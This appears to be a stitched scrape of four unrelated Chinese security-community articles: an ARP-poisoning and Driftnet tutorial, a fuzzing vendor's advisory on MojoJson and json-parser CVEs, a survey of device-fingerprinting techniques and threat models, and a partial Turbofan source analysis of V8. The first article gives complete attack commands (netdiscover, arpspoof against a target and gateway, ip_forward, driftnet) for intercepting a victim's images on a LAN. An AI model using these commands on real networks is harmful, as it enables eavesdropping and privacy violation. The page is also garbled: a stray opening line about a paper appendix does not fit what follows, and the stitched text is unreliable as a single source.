> 论文中的附录还对文中的具体算法进行了阐述，鉴于篇幅限制，有兴趣的师傅自行查阅。 | 社区文章 |
# 什么是ARP协议？
（地址解析协议）：地址解析协议是一种通信协议，用于查询与给定互联网层地址(通常是IPv4地址)相关联的链路层地址(如MAC地址)。这种映射是Internet协议簇中的一个关键功能。
ARP中毒。
# 什么是ARP中毒？
地址解析协议中毒(ARP中毒)是一种攻击形式，攻击者通过使用伪造的ARP请求和应答数据包更改目标计算机的ARP缓存，从而更改媒体访问控制(MAC)地址并攻击以太网LAN。
# Driftnet
Driftnet工具：Driftnet监视网络流量，抓取网络流量中的JPEG和GIF图像。这侵犯了人们的隐私，无论何时何地我们都不能这么做。除此之外，它还可以从网络中提取MPEG音频数据。
**ARP中毒和在Kali Linux中使用Driftnet工具。**
打开kali linux终端
扫描以查找网络(LAN)中的所有计算机。
输入命令：
netdiscover -r（ip范围）
结果：
192.168.243.1是网络IP。
192.168.243.2：默认网关。
192.168.243.254：广播IP。
仅剩下IP 192.168.243.129。
ping一下看看能不能通
收到响应之后，可以操作一下了
现在我们有了目标计算机的IP地址(192.168.243.129)。
现在我们可以执行ARP中毒。
命令：
arpspoof -i eth0 -t 192.168.243.129 192.168.243.2
这将禁用目标计算机中的Internet。
现在是端口转发的时候了，这样就不会有拒绝服务的情况。
命令：
检查端口转发是否启用。
cat /proc/sys/net/ipv4/ip_forward
如果结果为0则表示其关闭。
启用命令：
echo 1 > /proc/sys/net/ipv4/ip_forward
然后在目标计算机中进行ARP欺骗。
输入命令：
arpspoof -i eth0 -t 192.168.243.2 192.168.243.129
由于在目标计算机中启用了ARP欺骗。现在就是Driftnet大展身手的时候了。
driftnet -i eth0
您将得到一个名为driftnet的空白框。
这样 你就成功了，可以获得目标计算机的图片。
在这里，我在Win7操作系统中搜索Pokemon图片。
攻击者将在他的Kali Linux机器屏幕上的driftnet终端中获得所有的图片。
这就是Arp中毒和Driftnet工具的工作原理。
**注意Driftnet工具可用作中间人(MITM)攻击，但仅适用于端口80。**
更多精彩等着你的到来！
Enjoy…. ☺☺☺☺☺☺☺☺ | 社区文章 |
# 多个严重CVE漏洞被发现，系内存类安全漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.漏洞描述
近日，云起无垠的无垠代码模糊测试系统通过对json parse库、MojoJson进行检测发现多个CVE漏洞，漏洞编号为：CVE-2023-23083 ~
CVE-2023-23088，该系列漏洞皆为内存类漏洞，漏洞允许攻击者执行恶意代码进行攻击，从而造成严重后果。其中，CVE-2023-23086~CVE-2023-23088已公开。
MojoJson 是一个极其简单且超快速的JSON 解析器。解析器支持解析Json 格式，并提供简单的API 来访问不同类型的 Json
值。此外，核心算法可以很容易地用各种编程语言实现。
JSON.parse()是Javascript中一个常用的 JSON
转换方法，JSON.parse()可以把JSON规则的字符串转换为JSONObject，JSON.parse()很方便，并且几乎支持所有浏览器。
针对此类漏洞，无垠代码模糊测试系统均给出了相应建议。
## 2.漏洞详情
① CVE-2023-23086 func SkipString中堆缓冲区溢出
MojoJson v1.2.3中的缓冲区溢出漏洞允许攻击者通过SkipString函数执行任意代码。
漏洞等级：严重；CVSS v3.1漏洞评分：9.8
检测截图：
② CVE-2023-23087 函数Destory中指针错误
在MojoJson v1.2.3中发现了一个问题，允许攻击者通过destroy函数执行任意代码。
漏洞等级：严重；CVSS v3.1漏洞评分：9.8
检测截图：
③ CVE-2023-23088 json_value_parse堆缓冲区溢出
Barenboim json-parser
master和v1.1.0中的缓冲区溢出漏洞已在v1.1.1中修复，允许攻击者通过json_value_parse函数执行任意代码。
漏洞等级：严重；CVSS v3.1漏洞评分：9.8
检测截图：
## 3.解决方案
无垠代码模糊测试系统针对每一个CVE漏洞都给出了处置方案，可参照如上截图细看。
### 无垠代码模糊测试系统
无垠代码模糊测试系统是一款基于Fuzzing技术研发的灰盒检测工具，通过它不仅可以发现逻辑类漏洞，还能找到内存破坏的漏洞，比如缓冲区溢出、内存泄露、条件竞争等。该产品技术基于海量测试用例，融合覆盖引导、人工智能AI等关键技术，赋能软件开发的开发、测试、运维、部署等阶段，在软件上线之前发现已知及未知漏洞，可以更好的防止业务系统带病上线。
参考链接：
<https://nvd.nist.gov/vuln/detail/CVE-2023-23086>
<https://github.com/scottcgi/MojoJson/issues/2>
<https://nvd.nist.gov/vuln/detail/CVE-2023-23087>
<https://github.com/scottcgi/MojoJson/issues/3>
<https://nvd.nist.gov/vuln/detail/CVE-2023-23088>
<https://github.com/Barenboim/json-parser/issues/7>
云起无垠（<https://www.clouitera.com>)
是新一代智能模糊测试领跑者，采用新一代Fuzzing技术全流程赋能软件供应链与开发安全，基于智能模糊测试引擎为协议、代码、数据库、API、Web3.0等应用提供强大的软件安全自动化分析能力，从源头助力企业自动化检测并助其修复业务系统安全问题，为每行代码安全运行保驾护航。 | 社区文章 |
# 设备指纹指南：上篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
设备指纹在安全上主要用来识别用户，增强认证能力。参考业界普遍实践和学术探索，我们对常见的29种方法进行了比较，本文对这些方法根据稳定性、可重复性、资源消耗、用户端被动、绕过难度和可区分性进行了比较，用以在实践中选择。
## 一、背景
网络认证机制当前主要仍然是密码方法，但问题大家也都知道，密码方法在可用性、安全性上都有缺陷。设备指纹作为一种增强技术，收集设备软硬件信息进行识别，例如浏览器可采集屏幕分辨率、本地时间、操作系统版本进行主机系统识别，同时也可通过浏览器行为采集信息，目前很多用户画像、广告推送都会采用设备指纹跟踪用户浏览的习惯。另外则是在风控领域有大规模使用，通过在认证过程中进行多维判断，在无需用户干预的情况下实现增强认证。
现实中对设备指纹的主要考虑是：能够提高安全性、对用户不可见、兼容，从而在可用性和可部署性上实现低成本。
## 二、学术界研究
学术界对设备指纹也早有研究，目前业界知名的研究我们也做了分析。
第一篇设备指纹研究论文是Eckersley在2010年发表的，详细讨论了基于浏览器的设备指纹的概念，表明可通过收集设备IP地址、时区、屏幕分辨率、支持字体和插件列表等基本信息来识别用户，并跟踪用户的浏览习惯，这个功能最初目的是为了优化各类设备浏览体验。
后来Mowery等人提出了两种更先进的指纹方法：第一种是测量浏览器JavaScript引擎的性能签名，第二种是在HTML5画布中渲染文本，来区分不同软硬件平台的字体渲染技术。
Nikiforakis等人继续扩展了一些对抗下的方法，例如不同浏览器JavaScript实现差异会暴露出使用的是哪个浏览器，哪怕是user-agent被伪造。用户如果使用代理，则可通过Flash或Java等外部插件来确认真实IP地址。用户如果改动设备指纹，则会导致一个罕见指纹，对识别用户反而更有用。
Bojinov开始对手机传感器进行指纹识别，利用了设备的加速度校准误差和扬声器麦克风系统的响应频率。
Nikiforakis等人开发了PriVaricator，通过随机化各种浏览器参数来降低指纹性。
Acar和Nikiforakis等人的实证研究发现，在用户清除浏览器cookie的情况下广告商普遍使用设备指纹作为后备机制跟踪用户，广告商还通过非传统的存储机制保存识别信息，例如Flash
cookie，用户很难删除，如果用户清除浏览器cookie，这些信息还可用来重建浏览器cookie。
在安全上也有一些研究探索。Unger提出了，通过监控某些Web浏览器属性(例如user-agent、支持的CSS功能)来增强会话安全，帮助检测会话劫持。Preuveneers和Joosen则提出了一个协议，该协议在整个认证会话中监控各种参数，使用比较算法为每个属性分配一个权重来确定指纹变化。Van
Goethem提出了一种基于加速度计的设备指纹机制，用于多因素认证。Freeman提出了一个统计框架，利用各种浏览器属性和其他参数（如访问时间）来检测可疑的登录尝试。
Spooren认为，与台式电脑相比，移动设备指纹相对缺乏多样性，在风险的认证中的可靠性较低，但这个研究并没包括一些先进的指纹技术。Laperdrix收集分析了119,000个指纹，发现虽然一些移动设备属性的多样性较低（例如浏览器插件支持有限），但其他属性（例如user-agent和画布指纹）的多样性要比台式机高得多。Eisen有两项设备指纹专利：第一项描述了通过记录服务器的本地时间和客户端时间差来检测欺诈（用户端时区、夏令时以及UTC漂移）；第二项描述了一个通用的框架，在用户端向服务器请求的每个页面上获取指纹，并在指纹有足够变化时发出告警。
Varghese的专利描述了如何将设备指纹作为索引，从涉嫌欺诈的设备指纹数据库中匹配相关欺诈风险，并据此给账户访问分级。
Markus提出了隐式认证，根据用户行为如打字节奏、触摸屏输入、传感器输入（如陀螺仪、加速度计、附近蓝牙或WiFi）、使用模式（如访问时间、常用访问页面）等来加强或替代现有的认证机制。在更广泛的多维认证背景下，用户行为特征分析可与设备指纹一起使用，在不牺牲可用性的情况下实现更强认证。
## 三、设备指纹框架和威胁模型
在设备指纹中，服务器使用多种指纹向量验证设备的软硬件相关属性。“纯粹的”设备指纹是无状态的，对应则是有状态。而攻击者则会学习设备指纹的组成来对抗绕过。
有些向量要求浏览器执行操作，例如通过JavaScript，并将输出返回给服务器。如果一个向量响应是静态的，不管在什么情况下都不变，那么攻击者可以重放。如果服务器改变向量，或者使用单个向量，或其响应取决于条件或二次挑战，那就需要更高一级对抗，例如伪造地理位置等。
按照攻击能力，我们分为五类，用来分析设备指纹的防御能力。
M1：天真级，天真级就是传统密码猜测攻击，这是最容易防范的。攻击者试图猜测账户密码，但不对抗设备指纹，可根据历史数据确定暴力尝试来自来自新设备。
M2：密码和指纹猜测攻击。在多个账户中按流行程度暴力猜测密码，同时对设备指纹猜测迭代。攻击者可伪造设备匹配的指纹，这些指纹可能是为目标网站受众量身定做，例如针对特定国家用户的网站有特定时区访问者，特定厂商的技术支持网站则使用该厂商设备。然后，攻击者可以根据每个密码和设备指纹组合，在所有账户中递减顺序遍历密码-指纹。攻击者还可通过已泄漏密码库或设备指纹库（例如利用XSS获取大量数据伪造设备指纹）。
M3：目标密码和指纹猜测攻击。攻击者针对特定账户的密码猜测攻击，同时伪造指纹，这种攻击按照某种顺序对密码和指纹进行暴力迭代，通过已知信息(例如已知用户使用iphone7)或在特殊情况下可能拥有用户密码或用户设备指纹，从而将攻击降低为指纹猜测或密码猜测，大大减少搜索空间。
M4：指纹钓鱼和欺骗。钓鱼攻击可窃取密码和设备指纹。然后攻击者伪造指纹并使用密码访问，如果设备指纹不易伪造，这种攻击就比较困难。
M5：利用指纹欺骗进行会话劫持。攻击者目的是劫持会话，M1-M4攻击者是通过密码和指纹伪造来破解账户。M5攻击者则可窃取会话cookie，并利用诸如配置不当的HTTPS或XSS漏洞来执行用户端JavaScript。这样攻击者能够捕获设备指纹，从攻击者设备上恢复会话。因此，在M5下设备指纹必须很难伪造。
模型的总体分层结论如下：
M1：设备指纹可以防御，即使指纹可重放。
M2：设备指纹可显著降低攻击成功概率，即使指纹可重放，即使指纹的猜测空间足够大。
M3：这类攻击比较难以防御，因为攻击目标是特定用户，并拥有特定设备信息。
M4：最难防范，攻击者通过钓鱼获取密码和设备指纹，如果指纹可重放，就足以伪造。
M5：专门针对会话劫持，指纹不仅仅是在一个会话开始时，而是在整个会话过程中用来增强身份验证，后面我们会讨论。
## 四、设备指纹分类
我们查了各类研究文献、专利，以及网上技术文章、开源指纹库、营销广告和反欺诈服务，把所有的到的类型进行了总结分类，分类主要根据获取方法。
第一类：浏览器提供的信息。浏览器明确提供（例如JavaScript）多种系统信息，这些信息已知向量如下：
（a） 主要软硬件细节。navigator和浏览器对象模型(BOM)公开了浏览器/操作系统厂商和版本、系统语言、平台、user-agent
(有时还包括设备型号之类)、已安装插件、浏览器支持的存储机制(如本地存储(localStorage)、索引数据库(indexedDB)、会话存储(sessionStorage)、通过openDatabase的WebSQL)、屏幕分辨率、颜色深度和像素等属性。
（b） WebGL信息。WebGL是用来在浏览器内渲染图形的JavaScript
API，公开了底层浏览器和硬件各种属性(如GL版本、最大纹理大小、渲染缓冲区大小、支持的WebGL扩展、供应商/渲染器字符串)。
（c） 系统时间和时钟漂移。设备的系统时间可通过JavaScript访问，并用于推断设备的时区、是否遵守夏令时以及UTC时钟漂移。
（d）
电池信息。当提供足够精确的读数时，HTML5电池状态API适用于指纹识别。电池电量可用于在不同网站上对用户端进行短期跟踪，电池容量随着电池老化缓慢下降，但在相对较短的时间内，例如一天内变化不大，可通过监测约30秒的放电速率来估计，并用于辅助识别。
（e） 永续cookie。Evercookie通过使用HTML5本地存储、HTTP ETags或Flash
Cookie等多种技术，将用户端标识符存储在设备上，从而允许网站重建用户删除的cookie。
（f）
WebRTC。WebRTC是一套W3C标准，支持原生(无插件)浏览器应用，如语音和视频聊天。设备可通过枚举支持的WebRTC功能和媒体设备（如麦克风和网络摄像头）来进行指纹识别。对于哪些类型的设备可以在未经用户许可的情况下进行枚举，各浏览器的做法不同。WebRTC还公开了分配给设备上所有网络接口的IP地址，包括由用户分配的私有IP地址、NAT路由器或VPN。
（g）
密码自动填充。JavaScript可以用来检测密码是用户输入，还是被浏览器或密码管理器自动填充。使用事件监听器来检测用户是否在密码字段中输入字符，为keydown和keypress分配一个事件监听器，由于事件是由物理按键触发的，缺失则表明密码是通过自动填充输入。
第二类：基于设备行为推断。不仅可以通过浏览器提供信息，还可在浏览器上执行特定JavaScript代码观察效果，如测量执行时间或分析输出来收集设备的信息，包括：
（a）
HTML5画布指纹。通过JavaScript在用户端执行HTML5画布渲染各种文本和图形，并向服务器发送位图图像的哈希。不同软/硬件设备生成的图像有细微不同，例如字体和抗锯齿会随操作系统和显卡驱动变化，表情符号随操作系统和手机厂商变化。使用预定义字体列表渲染文本，可以进行字体检测。使用WebGL渲染复杂的图形，可进一步提供指纹多样性。
（b） 系统性能。在一系列计算密集型操作上运行JavaScript引擎基准，对运行时间进行测量，可推断设备性能特点；
（c） 硬件传感器。移动设备传感器可以根据制造和工厂校准变化进行指纹识别，例如，测量手机加速度计的校准误差（通过JavaScript访问）或扬声器-麦克风系统的频率响应；
（d）
滚轮指纹。监听WheelEvent事件，可通过JavaScript推断用户设备，当用户使用鼠标滚轮或触摸板滚动时，就会触发该事件。鼠标滚轮在触发时以固定增量滚动页面，触摸板则以不同增量滚动。测量文档的滚动速度可以显示用户滚动行为的信息和操作系统的滚动速度值。
（e）
CSS特征检测。浏览器厂商和版本可通过检测CSS特征来推断，因为各浏览器不统一。在目标元素上设置所需的CSS属性，然后查询该元素判断是否应用更改。这个向量可从user-agent获取。如果设备指纹已经通过另一个向量提取了user-agent，那么这里也用来测试信息是否被篡改。
（f）
JavaScript标准的一致性。浏览器对JavaScript标准的符合性不同，各种JavaScript一致性测试要数千个测试用例，加起来可能需要30多分钟。Mulazzani等人开发了一种技术，方法是使用决策树来选择一个非常小的子集，这些子集的运行时间可以忽略不计，可用来验证user-agent中报告的浏览器供应商和版本。
（g） URL scheme handler。有些浏览器在访问本地资源时使用了非标准方案。例如，res://在Microsoft
IE中是存储在Windows系统目录下DLL文件，Firefox中的moz-icon://、jar:resource://和resource://公开了内置浏览器和操作系统资源。因此网站可以创建HTML图片标签，将源地址设置为本地资源，并使用onerror事件处理来检测图片是否加载。通过迭代不同浏览器或操作系统版本预加载资源列表，向量可以列举。这算是一个替代方案，因为很多新版本浏览器出于隐私考虑，不再支持。
（h） 显卡RAM检测。GPU可用RAM(VRAM)数量，虽然不能通过WebGL
API明确获得，但可以通过反复分配纹理来推断，直到VRAM满了，之后纹理开始被交换到系统主内存。通过每次纹理分配的时间长度，并记录观察到的较大峰值，可推断GPU
VRAM已达到充分利用的状态。在这之后，浏览器可以继续分配纹理，直到出现OUT OF MEMORY错误。
（i）
字体检测。虽然不能通过JavaScript枚举已安装的字体，但可以用预定义列表中的字体来格式化文本，产生的文本尺寸可以区分不同的字体渲染设置，因此推断每种字体的存在。
（j） 音频处理。HTML5 AudioContext
API通过提供音频播放的实时频域和时域分析接口，允许创建音频可视化。和HTML5画布指纹一样，音频处理因浏览器和软/硬件不同而不同。
第三类：浏览器扩展插件。包括：
（a）
浏览器插件指纹。浏览器插件，如Java、Flash和Silverlight，可以被查询(通过嵌入网页插件对象)，以采集系统信息，而且比JavaScript提供的信息更详细。例如，Flash提供了完整的操作系统内核版本，Flash和Java插件都允许枚举所有系统字体，甚至系统字体的列举顺序在不同的系统中也会有所不同，增加了指纹的可区分性。
（b）
浏览器扩展指纹。如果安装了NoScript扩展(默认情况下，除了用户白名单上外，所有网站都禁用JavaScript)，网站可以尝试从一大批网站(如Alexa
Top
1000)加载脚本，检测哪些网站在用户白名单上。同样，广告拦截器也可以通过嵌入一个虚假广告来检测，比如一个隐藏的图片或iframe，其源URL中包含广告拦截器常用的黑名单词（比如
“广告”），然后JavaScript可以检测假广告是否被加载，并将结果返回服务器。其他扩展也有不同方法进行指纹识别，比如一些浏览器扩展会添加自定义HTTP
headers。
（c）
系统指纹插件。网站可能会安装专门的插件，例如早年的网上银行，这样可提供更强大指纹信息，包括硬件标识符、操作系统安装日期和已安装驱动程序版本，不过这种插件现在一般会被杀毒软件报出。
第四类：网络和协议级技术。前面几类涉及在客户端上访问API，而网络和协议层面的技术也可给设备打指纹，包括：
（a）
IP地址。众所周知IP可用来做判断，也可查询WHOIS获得更多信息，比如所在自治系统和注册组织名称。虽然IP地址比AS号更精确，但AS更稳定，在校验用户位置时可以作为交叉检查。
（b） Geolocation。地理位置可以通过几种机制来确定，浏览器通常会暴露API(例如通过navigator
BOM对象)，通过这些API，可以请求用户允许获取当前位置(GPS硬件、蜂窝三角、WiFi信息或用户提供的信息)。基于网络的机制也包括基于IP地址的WHOIS查询、基于路由数据的推理以及基于地理定位。
（c）
主动式TCP/IP协议栈指纹。由于网络和操作系统TCP/IP实现之间的差异，可以通过向设备发送针对性探针并分析响应包头字段(如RTT、TCP初始窗口大小)或链路特征(如MTU、延迟)来确定指纹。这种方法与浏览器无关，可以在任何互联网主机使用。可以理解为Nmap之类的扫描，具有主机发现、端口扫描和操作系统检测能力，可以发送各种探测数据包，通过内置数据库中的启发式方法来区分成千上万的系统。这种向用户端发送特殊的探测数据包，称之为主动指纹，但可能会触发防火墙、IDS警报。
（d）
被动TCP/IP协议栈指纹。被动指纹是侵入性较低的方法，但效果也较弱，通过嗅探网络通信，但使用主动指纹的启发式方法来识别主机，例如p0f这种工具。被动方法是比较合适的指纹向量，因为对现有header分析不需要制造新数据包，不具有侵入性。
（e） 协议指纹。协议指纹用于更高级别的协议，用来区分浏览器软件、版本、配置，例如HTTP header、user-agent、支持语言、字符编码列表以及DoNotTrack参数。此外，浏览器的TLS库可以用ClientHello数据包从协商参数的握手序列中获得指纹，相关信息包括用户端TLS版本、支持的密码套件、它们的顺序、压缩选项和扩展列表(相关参数如椭圆曲线参数)。
（f）
DNS解析。很多用户默认DNS解析器是运营商配置的，但少数用户可能会设置其他DNS，如阿里云或OpenDNS。于是就产生了一种比较骚的方法，服务器向浏览器发送一份文件，文件包含一份随机生成子域名，但该域名的权威DNS服务器由网站所有者控制。当用户端试图解析时，网站的DNS服务器会收到来自用户端DNS解析请求，然后将随机生成子域与最初为用户生成的进行关联。
（g） 时钟偏移。可以被动分析TCP时间戳，来测量用户时钟偏移—用户时钟和真实时间的偏离率。
（h） 计算NAT后面的主机。Bellovin最早提出来计算NAT后面的主机数量，通过被动分析IPv4
ID字段(用于片段重构)来计算NAT后面的主机数量。Kohno则又提出使用时钟偏移来区分NAT后面的主机。这些技术可以通过上层信息来增强，例如在指纹中加入从同一IP地址访问的其他用户账户。
（i） 广告拦截器检测。虽然广告拦截器检测可以用JavaScript在用户端进行，但也可以在服务器监控用户端是否请求了虚假广告。 | 社区文章 |
# 《Chrome V8 源码》43. Turbofan 源码分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 介绍
接上一篇文章继续说，本文讲解 Turbofan 的工作流程、梳理 PrepareJob、ExecuteJob 和 FinalizeJob
的主要功能以及重要数据结构。
## 2 Turbofan 工作流程
前文提到，Turbofan 分为 NotConcurrent 和 Concurrent 两种工作方式，它们的区别是 NotConcurrent
立即启动优化工作，而 Concurrent 把工作放进同步分发队列。
Concurrent 方式由 GetOptimizedCodeLater() 函数负责，其源码如下：
1. bool GetOptimizedCodeLater(OptimizedCompilationJob* job, Isolate* isolate) {
2. OptimizedCompilationInfo* compilation_info = job->compilation_info();
3. if (!isolate->optimizing_compile_dispatcher()->IsQueueAvailable()) {
4. if (FLAG_trace_concurrent_recompilation) {
5. //省略................
6. }
7. return false;
8. }
9. if (isolate->heap()->HighMemoryPressure()) {
10. if (FLAG_trace_concurrent_recompilation) {
11. //省略................
12. }
13. return false;
14. }
15. TimerEventScope<TimerEventRecompileSynchronous> timer(isolate);
16. RuntimeCallTimerScope runtimeTimer(
17. isolate, RuntimeCallCounterId::kOptimizeConcurrentPrepare);
18. TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"),
19. "V8.OptimizeConcurrentPrepare");
20. if (job->PrepareJob(isolate) != CompilationJob::SUCCEEDED) return false;
21. isolate->optimizing_compile_dispatcher()->QueueForOptimization(job);
22. if (FLAG_trace_concurrent_recompilation) {
23. PrintF(" ** Queued ");
24. compilation_info->closure()->ShortPrint();
25. PrintF(" for concurrent optimization.\n");
26. }
27. return true;
28. }
上述代码中，第 4-14 行检测工作队列和内存是否满足要求，不满足则停止优化编译。停止优化编译不影响当前 JavaScript 程序的运行，因为
JavaScript 程序正在被解释执行。
第 15-20 行统计 V8 运行信息，与优化编译的功能无关；
第 21 行把优化编译工作 job 添加到工作队列中，并返回结果 true。
NotConcurrent 方式由 GetOptimizedCodeNow() 函数负责，其源码如下：
1. bool GetOptimizedCodeNow(OptimizedCompilationJob* job, Isolate* isolate) {
2. TimerEventScope<TimerEventRecompileSynchronous> timer(isolate);
3. RuntimeCallTimerScope runtimeTimer(
4. isolate, RuntimeCallCounterId::kOptimizeNonConcurrent);
5. OptimizedCompilationInfo* compilation_info = job->compilation_info();
6. TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"),
7. "V8.OptimizeNonConcurrent");
8. if (job->PrepareJob(isolate) != CompilationJob::SUCCEEDED ||
9. job->ExecuteJob(isolate->counters()->runtime_call_stats()) !=
10. CompilationJob::SUCCEEDED ||
11. job->FinalizeJob(isolate) != CompilationJob::SUCCEEDED) {
12. if (FLAG_trace_opt) {
13. CodeTracer::Scope scope(isolate->GetCodeTracer());
14. PrintF(scope.file(), "[aborted optimizing ");
15. compilation_info->closure()->ShortPrint(scope.file());
16. PrintF(scope.file(), " because: %s]\n",
17. GetBailoutReason(compilation_info->bailout_reason()));
18. }
19. return false;
20. }
21. // Success!
22. job->RecordCompilationStats(OptimizedCompilationJob::kSynchronous, isolate);
23. DCHECK(!isolate->has_pending_exception());
24. InsertCodeIntoOptimizedCodeCache(compilation_info);
25. job->RecordFunctionCompilation(CodeEventListener::LAZY_COMPILE_TAG, isolate);
26. return true;
27. }
上述代码中， 第 2-7 行统计 V8 运行信息，与优化编译的功能无关；
第 8-9 行完成优化编译的所有工作，这些工作由 PrepareJob、ExecuteJob 以及 FinalizeJob 三个函数负责；
第 10-25 行更新编译状态等信息并返回 true。 优化编译同步进行，也就意味着暂停解释执行并等待优化编译的结果。
## 3 准备 PrepareJob
源码如下：
1. CompilationJob::Status OptimizedCompilationJob::PrepareJob(Isolate* isolate) {
2. DCHECK_EQ(ThreadId::Current(), isolate->thread_id());
3. DisallowJavascriptExecution no_js(isolate);
4. if (FLAG_trace_opt && compilation_info()->IsOptimizing()) {
5. //省略..............
6. }
7. // Delegate to the underlying implementation.
8. DCHECK_EQ(state(), State::kReadyToPrepare);
9. ScopedTimer t(&time_taken_to_prepare_);
10. return UpdateState(PrepareJobImpl(isolate), State::kReadyToExecute);
11. }
上述代码中，第 2-3 行做状态检测、第 4-6 行设置打印出输信息；第 10 行 UpdateState 更新状态信息，PrepareJobImpl
完成初始化工作，其源码如下：
1. PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl(
2. Isolate* isolate) {
3. PipelineJobScope scope(&data_, isolate->counters()->runtime_call_stats());
4. if (compilation_info()->bytecode_array()->length() >
5. FLAG_max_optimized_bytecode_size) {
6. return AbortOptimization(BailoutReason::kFunctionTooBig);
7. }
8. if (!FLAG_always_opt) {
9. compilation_info()->MarkAsBailoutOnUninitialized();
10. }
11. if (FLAG_turbo_loop_peeling) {
12. compilation_info()->MarkAsLoopPeelingEnabled();
13. }
14. if (FLAG_turbo_inlining) {
15. compilation_info()->MarkAsInliningEnabled();
16. }
17. PoisoningMitigationLevel load_poisoning =
18. PoisoningMitigationLevel::kDontPoison;
19. if (FLAG_untrusted_code_mitigations) {
20. load_poisoning = PoisoningMitigationLevel::kPoisonCriticalOnly;
21. }
22. compilation_info()->SetPoisoningMitigationLevel(load_poisoning);
23. if (FLAG_turbo_allocation_folding) {
24. compilation_info()->MarkAsAllocationFoldingEnabled();
25. }
26. if (compilation_info()->closure()->raw_feedback_cell().map() ==
27. ReadOnlyRoots(isolate).one_closure_cell_map() &&
28. !compilation_info()->is_osr()) {
29. compilation_info()->MarkAsFunctionContextSpecializing();
30. data_.ChooseSpecializationContext();
31. }
32. if (compilation_info()->is_source_positions_enabled()) {
33. SharedFunctionInfo::EnsureSourcePositionsAvailable(
34. isolate, compilation_info()->shared_info());
35. }
36. data_.set_start_source_position(
37. compilation_info()->shared_info()->StartPosition());
38. linkage_ = new (compilation_info()->zone()) Linkage(
39. Linkage::ComputeIncoming(compilation_info()->zone(), compilation_info()));
40. if (compilation_info()->is_osr()) data_.InitializeOsrHelper();
41. Deoptimizer::EnsureCodeForDeoptimizationEntries(isolate);
42. pipeline_.Serialize();
43. if (!data_.broker()->is_concurrent_inlining()) {
44. if (!pipeline_.CreateGraph()) {
45. CHECK(!isolate->has_pending_exception());
46. return AbortOptimization(BailoutReason::kGraphBuildingFailed);
47. }
48. }
49. return SUCCEEDED;
50. }
上述代码中，第 4-7 行检查 BytecodeArray 的长度是否超过最大长度限制；
第 8-10 行检查 always_optimization 使能标记，它的作用是 always try to optimize functions；
第 11-25 行检测 loop_peeling、inling、allocation_folding 使能标记，详细说明参见 flag-definitions.h 文件；
第 26-37 行设置 context、OSR、源码信息；
第 38 行创建编译需要的 link 信息；
第 44 行创建 V8.TFGraph，这之后不再需要 `T<Node>`了；
## 4 编译 ExecuteJob
ExecuteJob() 中调用 ExecuteJobImpl() 来完成优化编译的主体工作，其源码如下：
1. PipelineCompilationJob::Status PipelineCompilationJob::ExecuteJobImpl(
2. RuntimeCallStats* stats) {
3. PipelineJobScope scope(&data_, stats);
4. if (data_.broker()->is_concurrent_inlining()) {
5. //省略.....
6. }
7. bool success;
8. if (FLAG_turboprop) {
9. success = pipeline_.OptimizeGraphForMidTier(linkage_);
10. } else {
11. success = pipeline_.OptimizeGraph(linkage_);
12. }
13. if (!success) return FAILED;
14. pipeline_.AssembleCode(linkage_);
15. return SUCCEEDED;
上述代码的核心功能就两个，一个基于图的优化功能（OptimizeGraphForMidTier 和
OptimizeGraph），另一个汇编生成器（AssembleCode）。优化功能的源码如下：
bool PipelineImpl::OptimizeGraphForMidTier(Linkage* linkage) {
Run<TyperPhase>(data->CreateTyper());
RunPrintAndVerify(TyperPhase::phase_name());
Run<TypedLoweringPhase>();
RunPrintAndVerify(TypedLoweringPhase::phase_name());
Run<LoopExitEliminationPhase>();
//省略..............
}
//分隔线....................
bool PipelineImpl::OptimizeGraph(Linkage* linkage) {
PipelineData* data = this->data_;
data->BeginPhaseKind("V8.TFLowering");
Run<TyperPhase>(data->CreateTyper());
RunPrintAndVerify(TyperPhase::phase_name());
Run<TypedLoweringPhase>();
RunPrintAndVerify(TypedLoweringPhase::phase_name());
//省略..............
}
上述代码中，每一个 Run 方法代表过了一种优化技术，每种优化技术的实现都有对应的数据结构，本文不做讲解。
汇编生成器（AssembleCode）的源码如下：
1. void PipelineImpl::AssembleCode(Linkage* linkage,
2. std::unique_ptr<AssemblerBuffer> buffer) {
3. PipelineData* data = this->data_;
4. data->BeginPhaseKind("V8.TFCodeGeneration");
5. data->InitializeCodeGenerator(linkage, std::move(buffer));
6. Run<AssembleCodePhase>();
7. //省略.....
8. }
9. //分隔.................
10. CodeGenerator::CodeGenResult CodeGenerator::AssembleArchInstruction(
11. Instruction* instr) {
12. switch (arch_opcode) {
13. case kArchCallCodeObject: {
14. if (HasImmediateInput(instr, 0)) {
15. //省略.......................
16. } else {
17. Register reg = i.InputRegister(0);
18. DCHECK_IMPLIES(
19. HasCallDescriptorFlag(instr, CallDescriptor::kFixedTargetRegister),
20. reg == kJavaScriptCallCodeStartRegister);
21. __ LoadCodeObjectEntry(reg, reg);
22. if (HasCallDescriptorFlag(instr, CallDescriptor::kRetpoline)) {
23. __ RetpolineCall(reg);
24. } else {
25. __ call(reg);
26. } }
27. RecordCallPosition(instr);
28. frame_access_state()->ClearSPDelta();
29. break;
30. }
31. case kArchCallBuiltinPointer: {
32. //省略.......................
33. break;
34. }}
35. }
上述第 5 行代码初始 CodeGenerator，第 6 行代码 Run() 方法最终会调用第 10 行
AssembleArchInstruction() 方法以完成汇编码的生成。第 12-34 行代码采用 switch-case
为每条操作码（OPCODE）编写不同的汇编码生成规则。每条操作码对应一个 case，这个 case 描绘了把操作码转换为汇编码的规则。图 1 给出了
AssembleArchInstruction 的调用堆栈。
V8 中 OPCODE
分为两类，一类是体系结构通用的操作码（COMMON_ARCH_OPCODE_LIST），另一类是体系结构专用的操作码（TARGET_ARCH_OPCODE_LIST），具体参见宏模板。
## 5 收尾 FinalizeJob
收尾工作由 FinalizeJobImpl() 负责，源码如下：
1. PipelineCompilationJob::Status PipelineCompilationJob::FinalizeJobImpl(
2. Isolate* isolate) {
3. //省略.................
4. MaybeHandle<Code> maybe_code = pipeline_.FinalizeCode();
5. Handle<Code> code;
6. if (!maybe_code.ToHandle(&code)) {
7. //省略.................
8. }
9. if (!pipeline_.CommitDependencies(code)) {
10. //省略.................
11. }
12. compilation_info()->SetCode(code);
13. compilation_info()->native_context().AddOptimizedCode(*code);
